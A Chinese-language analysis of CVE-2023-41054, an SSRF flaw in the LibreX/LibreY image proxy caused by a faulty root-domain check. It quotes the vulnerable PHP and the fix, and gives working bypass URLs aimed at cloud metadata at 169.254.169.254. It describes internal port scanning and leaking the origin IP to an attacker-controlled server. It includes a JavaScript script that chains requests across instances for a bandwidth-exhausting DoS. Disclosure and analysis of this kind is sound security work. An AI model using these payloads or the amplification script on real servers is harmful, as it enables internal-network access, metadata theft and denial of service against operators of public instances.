CVE-2023-41054 漏洞分析

LibreX/Y 对 URL host 的错误解析导致了 SSRF 漏洞攻击者可以绕过对 host 的检查向任意 URL 发送 GET request 并获取 response body从而访问内网资源或进行 DoS 攻击

代码分析

 $url = $_REQUEST["url"]; 
 $requested_root_domain = get_root_domain($url); 
  
 $allowed_domains = array("qwant.com", "wikimedia.org", get_root_domain($config->invidious_instance_for_video_results)); 
  
 if (in_array($requested_root_domain, $allowed_domains)) 
 { 
   $image = $url; 
   $image_src = request($image); 
  
   header("Content-Type: image/png"); 
   echo $image_src;

这里检查了 proxy 到的目标 URL 域名在一个允许列表之中但是 get_root_domain 是一个自己写的函数

 function get_root_domain($url) { 
     $split_url = explode("/", $url); 
     $base_url = $split_url[2]; 
  
     $base_url_main_split = explode(".", strrev($base_url)); 
     $root_domain = strrev($base_url_main_split[1]) . "." . strrev($base_url_main_split[0]); 
  
     return $root_domain; 
 }

这一看就非常灵车它依赖于 URL 的标准形式即以 http(s):// 开头但是实际上 scheme 可以全部省略或者只留一个 slash 而非两个所以 /image_proxy.php?url=example.com//qwant.com/../../ 或者 /image_proxy.php?url=https:/example.com/qwant.com/../ 都可以通过这里的检查从而造成 SSRF

利用

访问内网资源

如果实例部署在 VPS 上可能可以在 169.254.169.254 获取到一些 metadata: /image_proxy.php?url=169.254.169.254//qwant.com/../../latest//image_proxy.php?url=169.254.169.254//qwant.com/../../opc/v1/instance/

还可以对 localhost 做端口扫描对内网 IP 地址的常用端口进行扫描之类的

默认配置中限制了 protocol 为 HTTP(S)所以无法访问本地文件之类的

获取源站 IP 地址

如果用了 CDN服务器的地址可能是隐藏的可以向攻击者控制的服务器或 https://requestrepo.com/ 之类的发送请求来获得服务器的 IP 地址从而绕开 CDN 进行 DDoS 之类的攻击

DoS

可以让服务器请求大文件来消耗服务器带宽攻击者不需要接收 response 从而不需要消耗带宽但实际上一般下载到一半就超时中断了效果和下载一张较大的图片没有漏洞也能做到差不多

但是通过任意 URL 的访问可以套娃例如 http://librex.b.com/image_proxy.php?url=https:/librex.a.com/qwant.com/..//image_proxy.php?url=http:/librex.b.com/qwant.com/..//image_proxy.php?url=https:/librex.a.com/qwant.com/..//image_proxy.php?url=http:/speedtest.ftp.otenet.gr/qwant.com/..//files/test10Mb.db

const INSTANCES = [
  'https://librex.a.com/',
  'https://librex.b.com/',
  'https://librex.c.com/',
];
const FINAL_TARGET = 'http://speedtest.ftp.otenet.gr/files/test10Mb.db';
const NUMBER_OF_ROUNDS = 25;
const NUMBER_OF_REQUESTS = 1;

function manipulatedUrlParam(url) {
  const u = new URL(url);
  return `${u.protocol}/${u.host}/qwant.com/../${u.pathname}${u.search}`;
}

function imageProxyUrl(instance, target) {
  const u = new URL("image_proxy.php", instance);
  u.search = new URLSearchParams({ url: manipulatedUrlParam(target) });
  // u.search = `?url=${manipulatedUrlParam(target)}`;
  return u.toString();
}

let chainedUrl = FINAL_TARGET;
for (let i = 0; i < NUMBER_OF_ROUNDS; i += 1) {
  chainedUrl = imageProxyUrl(INSTANCES[i % INSTANCES.length], chainedUrl);
}
console.log(chainedUrl);

for (let i = 0; i < NUMBER_OF_REQUESTS; i += 1) {
  console.time(`fetch ${i}`);
  fetch(chainedUrl).then((res) => {
    console.timeEnd(`fetch ${i}`);
    console.log(`${res.status}: ${res.statusText}`);
    console.log(`Content-Type: ${res.headers.get('Content-Type')}`);
    // res.text().then((t) => console.log(`Body Length: ${t.length}`));
  });
}

这样的话攻击者的一次请求就可以让服务器发送很多请求也能同时消耗服务器的上行和下行带宽并且同时攻击多个实例

不同实例的攻击难度不同可能和服务器配置有关比较菜的服务器通过套娃一次请求就可以十几秒无响应

修复

https://github.com/Ahwxorg/LibreY/pull/31/files 这个 PR 的名字好崩溃

parse_url 就行不知道当初作者为啥想不开自己造了个方轮子